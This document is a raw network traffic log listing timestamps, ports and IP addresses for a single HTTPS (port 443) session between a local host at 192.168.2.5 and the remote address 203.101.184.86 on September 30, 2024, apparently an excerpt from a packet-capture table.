Sep 30, 2024 18:58:18.228826046 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.228835106 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.228843927 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.228868008 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.228888988 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.228893042 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.228900909 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.228929996 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.228944063 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229146004 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229188919 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229195118 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229202032 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229232073 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229351997 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229393005 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229398012 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229482889 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229537964 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229542971 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229589939 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229629040 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229670048 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229676008 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229681015 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229717970 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229737043 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.229948044 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.229995012 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.230051994 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.230109930 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.230154037 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.230201960 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.230580091 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.230628967 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.230681896 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.230726957 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.230768919 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.230818987 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.230886936 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.230933905 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.233745098 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.233798981 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.233803034 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.233839989 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.233851910 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.233897924 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.233916998 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.233969927 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321067095 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321113110 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321145058 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321156979 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321188927 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321204901 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321254015 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321297884 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321299076 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321314096 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321343899 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321365118 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321408987 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321439028 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321469069 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321474075 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.321489096 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.321537018 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.434022903 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.434084892 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.434127092 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.434173107 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.434182882 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.434195995 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.434228897 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.434247017 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.434289932 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.434967041 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.435019970 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.435050011 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.435092926 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.435123920 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.435174942 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.436038017 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.436089039 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.436198950 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.436289072 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.436896086 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.436945915 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.436980963 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.437036037 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.437067032 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.437114954 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.437205076 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.437254906 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.437860966 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.437911034 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.437956095 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.438008070 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.438863993 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.438916922 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.438925028 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.438934088 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.438978910 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.439008951 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.439052105 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.439058065 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.439106941 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.439112902 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.439120054 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.439147949 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.439167023 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.439171076 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.439201117 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.439961910 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.440020084 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.440023899 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.440062046 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.440074921 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.440124989 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.441041946 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441082954 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441093922 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.441101074 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441132069 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.441170931 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441196918 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441217899 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.441221952 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441243887 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.441272020 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441315889 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.441319942 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441900015 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.441958904 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.441963911 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.442006111 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.442346096 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.442404032 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.442413092 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.442424059 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.442456961 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.442473888 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.442491055 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.442523956 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.442533970 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.442538977 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.442588091 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.442596912 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.442981005 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.443033934 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.443344116 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.443373919 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.443394899 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.443398952 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.443432093 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.489135981 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.526624918 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.526686907 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.526705027 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.526761055 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.526799917 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.526849031 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.526905060 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.526911020 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.526984930 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.527306080 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.527358055 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.527364016 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.527401924 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.527442932 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.527487040 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.527632952 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.527682066 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.527688980 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.527735949 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.527738094 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.527749062 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.527796030 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.528681993 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.528740883 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.528745890 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.528817892 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.529380083 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.529433966 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.529467106 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.529473066 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.529493093 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.529514074 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.529928923 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.529980898 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.529984951 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.529994965 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.530045986 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.530504942 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.530553102 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.638793945 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.638854980 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.638866901 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.638876915 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.638910055 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.638915062 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.638922930 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.638962030 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639003992 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639051914 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639056921 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639111042 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639219046 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639250994 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639262915 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639266014 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639288902 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639367104 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639410973 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639415026 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639431000 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639456987 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639461040 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639482975 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639492035 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639522076 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639524937 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639561892 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639565945 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639586926 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639627934 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639632940 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639643908 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639668941 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639672041 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639688969 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639722109 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639725924 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639748096 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639858961 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639879942 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639911890 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639916897 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.639934063 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.639960051 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640002012 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640006065 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640048981 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640106916 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640155077 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640158892 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640208960 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640299082 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640350103 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640357971 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640367031 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640394926 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640410900 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640425920 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640475035 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640497923 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640541077 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640544891 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640553951 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640583038 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640587091 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640597105 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640640020 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640675068 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640722990 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640825033 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640868902 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640882015 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.640933990 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.640979052 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641028881 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641077995 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641122103 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641185045 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641243935 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641264915 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641309977 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641376019 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641422033 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641480923 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641535997 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641576052 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641618967 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641625881 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641650915 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641664028 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.641669035 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.641711950 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731403112 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731487036 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731499910 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731547117 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731570959 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731594086 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731600046 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731621027 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731631994 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731631994 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731640100 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731652975 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731677055 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731692076 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731748104 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731753111 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731796026 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731811047 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731864929 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731870890 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731925011 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731930017 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731939077 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731975079 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.731978893 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.731987000 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732016087 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732028008 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732032061 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732068062 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732075930 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732115984 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732146978 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732161045 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732163906 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732192039 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732211113 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732232094 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732275963 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732341051 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732407093 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732420921 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732479095 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732515097 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732568026 CEST	49736	443	192.168.2.5	203.101.184.86
